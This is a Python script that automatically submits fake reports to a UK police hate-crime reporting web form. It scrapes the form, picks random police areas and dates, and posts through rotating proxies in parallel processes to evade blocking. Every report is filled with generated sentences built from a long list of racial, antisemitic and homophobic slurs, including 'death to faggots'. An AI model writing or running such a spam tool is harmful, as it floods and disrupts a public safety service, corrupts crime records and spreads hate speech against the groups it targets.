import multiprocessing
from random import choice, randint
from re import findall
import requests
from bs4 import BeautifulSoup
from collections import defaultdict

try:
    from anybar import AnyBar


    def notify(colour: str = 'white', msg: str = ''):
        AnyBar().change(colour, msg)

except (ImportError, ModuleNotFoundError):
    def notify(*args, **kargs):
        pass

slurs = ['Niggers', 'Kikes', 'Juden', 'Yids', 'Oven dodgers', 'The chosen people', 'Bankers', 'Heebs', 'Wogs',
         'Nogs', 'Slants', 'Faggots', 'Monkeys', 'Porch monkeys', 'Basketballs', 'Apes', 'Coons', 'Jigaboos',
         'Niglets', 'Boongs', 'Camel jockeys', 'Sand niggers', 'Towelheads', 'Ragheads', 'Chinks']


def gen_sentence():
    verbs = ['stole', 'raped', 'ate', 'kiked', 'blacked', 'monkeyed', 'niggered', 'jewed', 'penetrated', 'smoked',
             'popped', 'shot', 'beat', 'jumped', 'molested', 'drove', 'hopped', 'dropped', 'fucked', 'liquored up',
             'snorted', 'organised', 'had homo sex with', "woo-hoo'd", 'ran train on', 'had anal sex with', 'fought',
             'fought naked', 'traumatised', 'licked', 'sucked', 'educated', 'taught', 'bleached', 'yellowed', 'sniffed',
             'touched', 'fingered', 'unzipped', 'tunneled', 'bored', 'drilled', 'ravaged']

    adjectives = ['', '', '', '', 'n intoxicated', 'n unhappy', ' high', ' drunk', ' dead', ' black', ' dodgy',
                  ' yellow', ' sweaty', ' tired', ' wholesome', 'n engaged', ' jewish', ' horny', ' holy', ' slutty']

    nouns = ['young girl', 'young boy', 'postman', 'milkman', 'dog walker', 'cat walker', 'pilot', 'chef',
             'apple employee', 'Microsoft employee', 'donkey', 'rat', 'doggo', 'car', 'motorcycle', 'lorry', 'teacher',
             'plumber', 'sparky', 'cardio expert', 'queen', 'prince', 'king', 'princess', 'smith', 'gun slinger',
             'pop star', 'jew', 'nobel prize winner', 'German', 'Frenchman', 'sunbather', 'tourist', 'dinosaur']

    return f"{choice(slurs)} {choice(verbs)} a{choice(adjectives)} {choice(nouns)}"


def spammer(i, provided_proxies: list = False):
    link = 'https://beta.met.police.uk/true-vision-report-hate-crime/'
    areas = ['Avon and Somerset Constabulary', 'Bedfordshire Police', 'British Transport Police',
             'Cambridgeshire Constabulary', 'Cheshire Constabulary', 'City of London', 'Cleveland Police',
             'Cumbria Constabulary', 'Derbyshire Constabulary', 'Devon and Cornwall Police', 'Dorset Police',
             'Durham Constabulary,', 'Dyfed-Powys Police Heddlu Dyfed-Powys,', 'Essex Police,',
             'Gloucestershire Constabulary', 'Greater Manchester Police', 'Gwent Police / Heddlu Gwent', 'Hampshire',
             'Hampshire Isle of Wight', 'Hertfordshire Constabulary', 'Humberside Police', 'Isle of Man Police',
             'Kent Police', 'Lancashire Constabulary', 'Leicestershire Constabulary', 'Lincolnshire Police',
             'Merseyside Police', 'Metropolitan Police', 'Norfolk Constabulary', 'Northamptonshire Police',
             'Northumbria Northumberland', 'Northumbria Tyne and Wear', 'North Wales Police Heddlu Gogledd Cymru',
             'North Yorkshire Police', 'Nottinghamshire Police', 'Police Service for Northern Ireland',
             'South Wales Police / Heddlu De Cymru', 'South Yorkshire Police', 'Staffordshire Police',
             'States of Jersey Police', 'Suffolk Constabulary', 'Surrey Police', 'Sussex Police',
             'Thames Valley Berkshire', 'Thames Valley Milton Keynes', 'Thames Valley Oxfordshire',
             'Warwickshire Police', 'West Mercia Herefordshire', 'West Mercia Shropshire',
             'West Mercia Telford and Wrekin', 'West Mercia Worcestershire', 'West Midlands Police',
             'West Yorkshire Police', 'Wiltshire Police']
    motivation = ['Disability', 'Race', 'Religious belief', 'Sexual orientation', 'Transgender', 'Other']
    date = "%02d/%02d/%s"
    proxies = [

    ]
    proxies = provided_proxies or list(set((i[0] + ':' + i[1]) for i in proxies))

    fails = defaultdict(int)
    while proxies:
        try:
            proxy = choice(proxies)
            proxy = {
                'http': proxy,
                'https': proxy
            }

            ses = requests.session()
            page = ses.get(link, timeout=3, proxies=proxy)
            if page.status_code != 200:
                raise requests.ConnectionError

            page = BeautifulSoup(page.text, 'html5lib')
            inputs = page.find('form')
            inputs = inputs.find_all('input')
            if not inputs:
                raise requests.ConnectionError

            inputs = {i['name']: i['value'] for i in inputs}
            inputs['PoliceAreaCounty'] = choice(areas)
            inputs['MotivationSelect'] = choice(motivation)
            inputs['VictimOrWitnessSelection'] = 'Victim'
            inputs['DescribeTheIncident'] = gen_sentence()
            inputs['WhyDoYouPerceiveThisToBeMotivatedByHatred?'] = 'FUCK' + choice(slurs)
            inputs['WhatDateDidTheIncidentTakePlace?'] = date % (randint(1, 25), randint(1, 10), randint(2009, 2017))
            inputs['WhatTimeDidTheIncidentTakePlace?_hour?'] = "%20d" % randint(0, 23)
            inputs['WhatTimeDidTheIncidentTakePlace?_minute'] = "%20d" % randint(0, 59)
            inputs['WereYouOrAnyoneElseInjured??_minute'] = 'Yes'
            inputs['IfYesOrNotSure,PleaseSpecify??_minute'] = 'Society'
            inputs['DidAnyLossOrDamageToPropertyResultFromThisIncident?'] = 'No'
            inputs['WereThereAnyWitnesses?'] = 'No'
            inputs['WasTheIncidentRecordedOnCCTV?'] = 'No'
            inputs['HowManyOffendersWereThere?'] = 'Not sure'
            inputs['DoYouKnowThem?'] = 'No'
            inputs['CanYouNameThem?'] = 'No'
            inputs['DidTheOffenderHaveAVehicle?'] = 'No'
            inputs['AreYouWillingToGiveYourDetailsToThePolice?'] = 'No'
            inputs['WhatIsYourGender?'] = 'Female'
            inputs["IfYouSelected'Other'PleaseSpecify?"] = 'Normal, death to faggots'
            inputs['YourEthnicity'] = 'White British'
            inputs['EthnicityOfTheOffender(S)?'] = choice(slurs)
            inputs["PleaseSpecifyHowWeMayContactYou"] = 'Through a third person'
            inputs["WhereDidTheIncidentTakePlace?"] = choice(slurs)

            dat = ses.post(link, data=inputs, proxies=proxy)
            if dat.status_code != 200:
                raise requests.ConnectionError

            result = findall('>(\w{3}-\d+-\d+-\w+)<', dat.text)
            if result:
                print(f'[{i}] Report-ID: {result[0]}, \"{inputs["DescribeTheIncident"]}\"')
                fails[proxy['http']] -= 1
                if type(i) is int:
                    spammer(f'S{i}', [proxy['http']] * 4)
                notify('green')
                continue

            raise requests.ConnectionError

        except (requests.ConnectionError, requests.Timeout):
            fails[proxy['http']] += 1
            if fails[proxy['http']]:
                proxies.remove(proxy['http'])
            notify('red')
            continue

        except KeyboardInterrupt:
            return

    if type(i) is not int:
        print(f"---- [{i}] end success ----")


try:
    notify('yellow', 'starting')

    multiprocessing.Pool(4).map(spammer, range(4))
    notify('blue', 'Out of proxies')

except KeyboardInterrupt:
    notify()